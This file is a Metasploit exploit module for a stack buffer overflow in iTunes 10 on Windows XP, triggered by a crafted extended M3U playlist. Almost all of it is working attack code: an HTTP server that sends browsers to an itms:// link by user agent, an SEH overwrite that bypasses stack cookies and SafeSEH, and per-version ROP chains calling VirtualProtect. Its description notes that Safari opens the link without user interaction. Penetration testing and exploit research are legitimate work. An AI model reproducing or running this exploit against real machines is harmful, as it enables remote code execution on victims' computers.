modules/exploits/windows/misc/itunes_extm3u_bof.rb
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super(update_info(info,
'Name' => 'Apple iTunes 10 Extended M3U Stack Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in iTunes 10.4.0.80 to 10.6.1.7.
When opening an extended .m3u file containing an "#EXTINF:" tag description,
iTunes will copy the content after "#EXTINF:" without appropriate checking
from a heap buffer to a stack buffer, writing beyond the stack buffer's boundary,
which allows code execution under the context of the user.
Please note before using this exploit, you must have precise knowledge of the
victim machine's QuickTime version (if installed), and then select your target
accordingly.
In addition, even though this exploit can be used as remote, you should be aware
the victim's browser behavior when opening an itms link. For example,
IE/Firefox/Opera by default will ask the user for permission before launching the
itms link by iTunes. Chrome will ask for permission, but also spits a warning.
Safari would be an ideal target, because it will open the link without any
user interaction.
},
'Author' =>
[
'Rh0 <rh0[at]z1p.biz>', # discovery and metasploit module
'sinn3r' #Mo' targets & code cleanup, etc
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
},
'Platform' => ['win'],
'Arch' => ARCH_X86,
'Payload' =>
{
'Space' => 1000,
'BadChars' => "\x00\x0a\x0d",
'DisableNops' => true,
'PrependEncoder' => "\x81\xc4\xfc\xfb\xff\xff" # ADD ESP, -0x404
},
'References' =>
[
[ 'OSVDB', '83220' ],
[ 'EDB', '19322' ],
[ 'URL', 'http://pastehtml.com/view/c25uhk4ab.html' ]
],
'DisclosureDate' => '2012-06-21',
'Targets' =>
[
# Default package for iTunesSetup104.exe
['iTunes 10.4.0.80 to 10.6.1.7 with QuickTime 7.69 on XP SP3',
{
'Ret' => 0x669C197B, # ADD ESP,0xD40 / ret [QuickTime.qts]
'ROP_NOP' => 0x66801044 # RET
}
],
# Default package for iTunesSetup1041.exe
[ 'iTunes 10.4.0.80 to 10.6.1.7 with QuickTime 7.70 on XP SP3',
{
'Ret' => 0x6693A96B, # ADD ESP,0xD40 / ret [QuickTime.qts]
'ROP_NOP' => 0x66801044 # RET
}
],
[ 'iTunes 10.4.0.80 to 10.6.1.7 with QuickTime 7.71 on XP SP3',
{
'Ret' => 0x6693ACBB, # ADD ESP,0xD40 / ret [QuickTime.qts]
'ROP_NOP' => 0x66801044 # RET
}
],
['iTunes 10.4.0.80 to 10.6.1.7 with QuickTime 7.72 on XP SP3',
{
'Ret' => 0x6693afab, # ADD ESP,0xD40 / ret [QuickTime.qts]
'ROP_NOP' => 0x66801044 # RET
}
]
]
))
end
def on_request_uri(cli,request)
# re-generate the payload
return if ((p = regenerate_payload(cli).encoded) == nil)
host = request.headers['HOST']
agent = request.headers['USER-AGENT']
# iTunes browser link
m3u_location = "itms://#{host}#{get_resource()}/#{rand_text_alphanumeric(8+rand(8))}.m3u"
if request.uri =~ /\.ico$/i
# Discard requests for ico files
send_not_found(cli)
elsif request.uri =~ /\.m3u$/i
print_status("Target: #{target.name}")
print_status("Sending playlist")
send_response(cli, generate_m3u(p), { 'Content-Type' => 'audio/x-mpegurl' })
elsif agent =~ /MSIE (6|7|8)\.0/ and agent =~ /NT 5\.1/
print_status("Redirecting to playlist")
send_response(cli, generate_redirect_ie(m3u_location), { 'Content-Type' => 'text/html' })
elsif agent =~ /NT 5\.1/
# redirect Firefox, Chrome, Opera, Safari to iTunes link
print_status("Redirecting to playlist")
send_redirect(cli, m3u_location)
else
print_status("Unknown User-Agent: #{agent}")
send_not_found(cli)
end
end
# IE did not proper redirect when retrieving an itms:// location redirect via a HTTP header...
# ... so use html
def generate_redirect_ie(m3u_location)
ie_redir = <<-HTML_REDIR
<!DOCTYPE HTML>
<html>
<head>
<meta http-equiv="refresh" content="0; URL=#{m3u_location}">
</head>
</html>
HTML_REDIR
ie_redir = ie_redir.gsub(/^ {6}/, '')
return ie_redir
end
def generate_m3u(payload)
# Bypass stack cookies by triggering a SEH exception before
# the cookie gets checked. SafeSEH is bypassed by using a non
# safeSEH DLL [QuickTime.qts].
# stack buffer overflow ->
# overwrite SEH handler ->
# trigger SEH exception ->
# rewind stack (ADD ESP, ...) and land in ROP NOP sled ->
# virtualprotect and execute shellcode
m3u = '#EXTINF:,'
# stack layout depends on what iTunes is doing (running or not, playing music etc.) ...
# ... so ensure we overwrite a SEH handler to get back to our rop chain
m3u << [target.ret].pack("V") * 0x6a # stack pivot/rewind
m3u << [target['ROP_NOP']].pack("V") * 30 # ROP NOP sled
m3u << gimme_rop
m3u << payload
# 0x1000 should be enough to overflow the stack and trigger SEH
m3u << rand_text_alphanumeric(0x1000 - m3u.length)
return m3u
end
def gimme_rop
# thanx to mona.py :)
rop_chain = [
:popad,
# registers
0x66801044, # EDI: RET
0x7c801ad4, # ESI: VirtualProtect [kernel32.dll]
:jmpesp,
junk,
:ebx, # EBX: Becomes 0x3e8
0xffffffd6, # EDX: Becomes 0x40
0x673650b0, # ECX: lpflOldProtect
0x90909090, #EAX
# correct dwSize and flNewProtect
:modebx,
:addedx,
# throw it on the stack
:pushad
]
# Map gadgets to a specific Quicktime version
rop_chain.map! { |g|
case target.name
when /QuickTime 7\.69/
case g
when :popad then 0x66C3E260
when :jmpesp then 0x669F6E21
when :ebx then 0x4CC48017
when :modebx then 0x669A8648 # xor ebx,4CC483FF; ret
when :addedx then 0x669FC1C6 # add edx, 0x6a; ret
when :pushad then 0x6682A67E
else
g
end
when /QuickTime 7\.70/
case g
when :popad then 0x66926F5B
when :jmpesp then 0x66d6b743
when :ebx then 0x6c1703e8
when :modebx then 0x66b7d8cb # add ebx, 0x93E90000 ; ret
when :addedx then 0x66975556 # add edx, 0x6a; ret
when :pushad then 0x6689B829
else
g
end
when /QuickTime 7\.71/
case g
when :popad then 0x668E2BAA
when :jmpesp then 0x66965F78
when :ebx then 0x6c1703e8
when :modebx then 0x66B7DC4B # add ebx, 0x93E90000 ; ret
when :addedx then 0x66975956 # add edx, 0x6a; ret
when :pushad then 0x66C28B70
else
g
end
when /QuickTime 7\.72/
case g
when :popad then 0x66c9a6c0
when :jmpesp then 0x6697aa03
when :ebx then 0x6c1703e8
when :modebx then 0x66b7de1b # add ebx, 0x93E90000 ; ret
when :addedx then 0x66975c56 # add edx, 0x6a; ret
when :pushad then 0x6684b5c6
else
g
end
end
}
rop_chain.pack("V*")
end
def junk
rand_text_alpha(4).unpack("L")[0].to_i
end
end
=begin
0:000> r
eax=0e5eb6a0 ebx=00000000 ecx=00000183 edx=00000003 esi=0e5eb091 edi=00130000
eip=10ceaa7a esp=0012ee5c ebp=0012ee64 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
iTunes_10000000!iTunesMainEntryPoint+0xb93f3a:
10ceaa7a f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
0:000> k
ChildEBP RetAddr
WARNING: Stack unwind information not available. Following frames may be wrong.
0012ee64 10356284 iTunes_10000000!iTunesMainEntryPoint+0xb93f3a
0012eea4 1035657c iTunes_10000000!iTunesMainEntryPoint+0x1ff744
0012eed8 1034de49 iTunes_10000000!iTunesMainEntryPoint+0x1ffa3c
00000000 00000000 iTunes_10000000!iTunesMainEntryPoint+0x1f7309
0:000> !address esi
0c720000 : 0d87d000 - 00ea3000
Type 00020000 MEM_PRIVATE
Protect 00000004 PAGE_READWRITE
State 00001000 MEM_COMMIT
Usage RegionUsageHeap
Handle 0c720000
0:000> !address edi-10
00030000 : 000ee000 - 00042000
Type 00020000 MEM_PRIVATE
Protect 00000004 PAGE_READWRITE
State 00001000 MEM_COMMIT
Usage RegionUsageStack
Pid.Tid d1c.d0c
=end